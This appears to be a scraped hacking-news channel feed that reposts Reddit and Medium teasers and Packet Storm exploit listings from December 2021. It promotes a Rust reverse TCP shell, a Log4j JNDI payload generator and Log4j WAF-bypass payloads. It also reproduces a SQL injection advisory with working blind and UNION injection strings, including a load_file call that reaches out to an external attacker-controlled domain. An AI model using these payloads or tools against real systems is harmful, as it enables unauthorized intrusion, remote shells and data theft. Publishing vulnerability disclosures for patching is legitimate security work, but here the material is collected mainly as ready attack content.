hacking: security in practice
A TL;DR technical explanation of the log4j vulnerability

https://external-preview.redd.it/Btph6VV6rwBvtWt-DSa8io4TtG46hhx3meJHQIfQiTk.jpg?width=108&crop=smart&auto=webp&s=05a46ef555eee9a3def8a9e6863d97526bb87e0e submitted by /u/sn1pr0s
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cross-platform TCP reverse shell written in Rust

Hey /r/hacking!

I'd like to share with you a repo that I recent made that serves as a collection of offensive security tools that I'll be writing - remote code oxidation. The first (and currently only) tool in there is a reverse TCP shell that can be compiled for either Linux or Windows targets, and can be easily configured to call back to any IP address / port of your choosing.

The Linux implementation was pretty easy and basically just uses features of the Rust standard library. The Windows part was much more involved; since the Rust standard library couldn't achieve what I needed it to (or at least I couldn't figure out how to, I'm new to Rust), I made heavy use of the Win32 API crate that Microsoft developed.

Anyways, I'd love feedback on the first tool as I plan out what I'll build next!

Happy hacking

submitted by /u/KmancXC
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Accidentally Finded takes me to Honorable Mention in Google

Hello everyone hope all are safe and doing good. I am Vasanth from Madurai,Tamilnadu currently i am pursing Master Of Computer Application…Continue reading on Medium »
Read more...

The ‘U Up?’ Files With samczsun

Few names strike more fear into the hearts of blackhats than samczsun, known as perhaps the most prolific whitehat in DeFi security…Continue reading on Immunefi »
Read more...

Bypass Authentication

Hi all,Continue reading on Medium »
Read more...

Leaked Database of CGG Website: GOVT- BUG (CRITICAL)

Hey guyz, It's me again Krishnadev P Melevila, Those who don’t know me, as usual, Search my Full Name on Google.Continue reading on Medium »
Read more...

Google Dork Operators

1.site site:medium.com Limits the search to a specific site only.Continue reading on Medium »
Read more...

Exploit Collector
Log4j Payload Generator

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
log4j-payload-generator is a plugin for the woodpecker framework to produce log4 jndi injection vulnerability payload. Five types of payloads can be produced with one click.

MD5 | 2c8e89b849fb1ba85df35d1908e75308

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Cold Storage Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
Simple Cold Storage Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7ad0038cae1941fe440abaf542a02393

Download
## Title: Simple Cold Storage Management System 1.0 SQL - Injection
## Author: nu11secur1ty
## Date: 12.15.2021
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-using-phpoop-source-code.html

## Description:
The id parameter from Simple Cold Storage Management System 1.0
appears to be vulnerable to SQL injection attacks. The payload
'+(select load_file('\\\\g3khg6jtsfhb1zn9r9a3f1g4svyomhg578vzip6e.nu11secur1tyPenetrationTestingEngineer.net\\zuz'))+'
was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
Also, the attacker can take full control of the system administrator
account on this system by using SQL-Injection Bypass Authentication.

[+] Payload:

```mysql
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1'+(select
load_file('\\\\g3khg6jtsfhb1zn9r9a3f1g4svyomhg578vzip6e.nu11secur1tyPenetrationTestingEngineer.net\\zuz'))+''
AND (SELECT 8135 FROM (SELECT(SLEEP(5)))EsVB) AND 'MsFx'='MsFx

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: id=1'+(select
load_file('\\\\g3khg6jtsfhb1zn9r9a3f1g4svyomhg578vzip6e.nu11secur1tyPenetrationTestingEngineer.net\\zuz'))+''
UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7176627071,0x685558464d466d7a6b5878585a53514a6859754e5651584e705557616d6354616f574f6646637452,0x716a787a71),NULL,NULL,NULL,NULL--
-
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/CSMS-1.0)

## Proof and Exploit:
[href](https://streamable.com/l2u7an)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Oliver Library Server 5 Arbitrary File Download

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Oliver Library Server 5 versions prior to 8.00.008.053 suffer from an arbitrary file download vulnerability.

MD5 | 47de3fec9dce2620943ba2fb7c366359

Download
# Exploit Title: Oliver Library Server v5 - Arbitrary File Download
# Date: 14/12/2021
# Exploit Authors: Mandeep Singh, Ishaan Vij, Luke Blues, CTRL Group
# Vendor Homepage: https://www.softlinkint.com/product/oliver/
# Product: Oliver Server v5
# Version: < 8.00.008.053
# Tested on: Windows Server 2016

Technical Description:
An arbitrary file download vulnerability in Oliver v5 Library Server Versions < 8.00.008.053 via the FileServlet function allows for arbitrary file download by an attacker using unsanitized user supplied input.

Steps to Exploit:

1) Use the following Payload:
https://
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Log4j2 Log4Shell Regexes

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
If you are curious about web application firewall (WAF) bypass payloads that can be leveraged to exploit the log4j2 code execution vulnerability, you should look at this tool.

MD5 | eeb860d1a0949b84609fd208bbee18be

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenEMR 6.0.0 / 6.1.0-dev SQL Injection

___________________________
@hacking_Attack
@Hacking_Video